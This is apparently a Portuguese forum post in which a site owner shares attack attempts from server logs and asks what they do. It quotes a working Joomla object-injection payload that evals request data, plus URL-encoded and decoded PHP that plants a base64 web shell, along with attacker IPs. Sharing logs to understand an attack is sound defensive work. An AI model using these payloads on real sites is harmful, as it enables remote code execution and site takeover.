Encontrei isso em meus logs de erros e pesquisa de segurança, ainda vou estudar, mas quem sabe alguém já viu?
1 tentativa
Os códigos foram capturados a partir de uma conexão e pegos na GLOBAL $_SERVER do PHP com os valores nos índices HTTP_USER_AGENT e HTTP_REFERER :
o código a seguir foi recebido como user-agent:
}__test|O:21:"JDatabaseDriverMysqli":3:{s:2:"fc";O:17:"JSimplepieFactory":0:{}s:21:"\\0\\0\\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:8:"feed_url";s:46:"eval($_REQUEST[1]);JFactory::getConfig();exit;";s:19:"cache_name_function";s:6:"assert";s:5:"cache";b:1;s:11:"cache_class";O:20:"JDatabaseDriverMysql":0:{}}i:1;s:4:"init";}}s:13:"\\0\\0\\0connection";b:1;}?
o código a seguir foi recebido como user-referer:
/?1=%40ini_set%28%22display_errors%22%2C%220%22%29%3B%40set_time_limit%280%29%3B%40set_magic_quotes_runtime%280%29%3Becho%20%27-%3E%7C%27%3Bfile_put_contents%28%24_SERVER%5B%27DOCUMENT_ROOT%27%5D.%27/webconfig.txt.php%27%2Cbase64_decode%28%27PD9waHAgZXZhbCgkX1BPU1RbMV0pOz8%2B%27%29%29%3Becho%20%27%7C%3C-%27%3B
ip: 178.219.243.167
178.219.243.167 UA Sevastopol, Sebastopol City, Ukraine, Europe 90022 44.5888, 33.5224 500 Scientific-Industrial Enterprise Myst LLC Scientific-Industrial Enterprise Myst LLC sevstar.net
2 tentativa agora a pouco
o código a seguir foi recebido como user-referer:
/?fbclid=IwAR3x4bqG8uS4DfqYdfahS2CSxkAoWFuEn2kmUlysYXaeV7tx77x1Ip4zglo
ip: 31.13.115.14
31.13.115.14 US United States, North America 37.751, -97.822 1000 Facebook Ireland Ltd Facebook
3 tentativa agora as 21:48
o código a seguir foi recebido como user-referer:
__test|O:21:"JDatabaseDriverMysqli":3:{s:2:"fc";O:17:"JSimplepieFactory":0:{}s:21:"\0\0\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:8:"feed_url";s:46:"eval($_REQUEST[1]);JFactory::getConfig();exit;";s:19:"cache_name_function";s:6:"assert";s:5:"cache";b:1;s:11:"cache_class";O:20:"JDatabaseDriverMysql":0:{}}i:1;s:4:"init";}}s:13:"\0\0\0connection";b:1;}?
o código a seguir foi recebido como user-referer:
/?1=%40ini_set%28%22display_errors%22%2C%220%22%29%3B%40set_time_limit%280%29%3B%40set_magic_quotes_runtime%280%29%3Becho%20%27-%3E%7C%27%3Bfile_put_contents%28%24_SERVER%5B%27DOCUMENT_ROOT%27%5D.%27/webconfig.txt.php%27%2Cbase64_decode%28%27PD8kX3VVPWNocig5OSkuY2hyKDEwNCkuY2hyKDExNCk7JF9jQz0kX3VVKDEwMSkuJF91VSgxMTgpLiRfdVUoOTcpLiRfdVUoMTA4KS4kX3VVKDQwKS4kX3VVKDM2KS4kX3VVKDk1KS4kX3VVKDgwKS4kX3VVKDc5KS4kX3VVKDgzKS4kX3VVKDg0KS4kX3VVKDkxKS4kX3VVKDQ5KS4kX3VVKDkzKS4kX3VVKDQxKS4kX3VVKDU5KTskX2ZGPSRfdVUoOTkpLiRfdVUoMTE0KS4kX3VVKDEwMSkuJF91VSg5NykuJF91VSgxMTYpLiRfdVUoMTAxKS4kX3VVKDk1KS4kX3VVKDEwMikuJF91VSgxMTcpLiRfdVUoMTEwKS4kX3VVKDk5KS4kX3VVKDExNikuJF91VSgxMDUpLiRfdVUoMTExKS4kX3VVKDExMCk7JF89JF9mRigiIiwkX2NDKTtAJF8oKTs/Pg%3D%3D%27%29%29%3Becho%20%27%7C%3C-%27%3B
Decifrando o valor vindo em BASE64 o resultado é o seguinte:
<?$_uU=chr(99).chr(104).chr(114);$_cC=$_uU(101).$_uU(118).$_uU(97).$_uU(108).$_uU(40).$_uU(36).$_uU(95).$_uU(80).$_uU(79).$_uU(83).$_uU(84).$_uU(91).$_uU(49).$_uU(93).$_uU(41).$_uU(59);$_fF=$_uU(99).$_uU(114).$_uU(101).$_uU(97).$_uU(116).$_uU(101).$_uU(95).$_uU(102).$_uU(117).$_uU(110).$_uU(99).$_uU(116).$_uU(105).$_uU(111).$_uU(110);$_=$_fF("",$_cC);@$_();?>
Não faço a minima ideia do que esse script php acima faz!
ip: 142.93.52.63
142.93.52.63 US North Bergen, New Jersey, United States, North America 07047 40.793, -74.0247 1000 Digital Ocean Digital Ocean 501
Não irei bloquear o ip por motivos de pesquisa...
Qual seria as melhores providencias a tomar para esses ips?
Pela pesquisa que fiz esse ataque funciona nas plataformas que usam Joomla, fica dica pra quem usa!
Por favor ajudem a manter a internet um local seguro! =D
178.219.243.167
é de um proxy anonimo178.219.243.167, 61746, UA, Ukraine, Socks4, Anonymous, Yes, 1 minute ago
.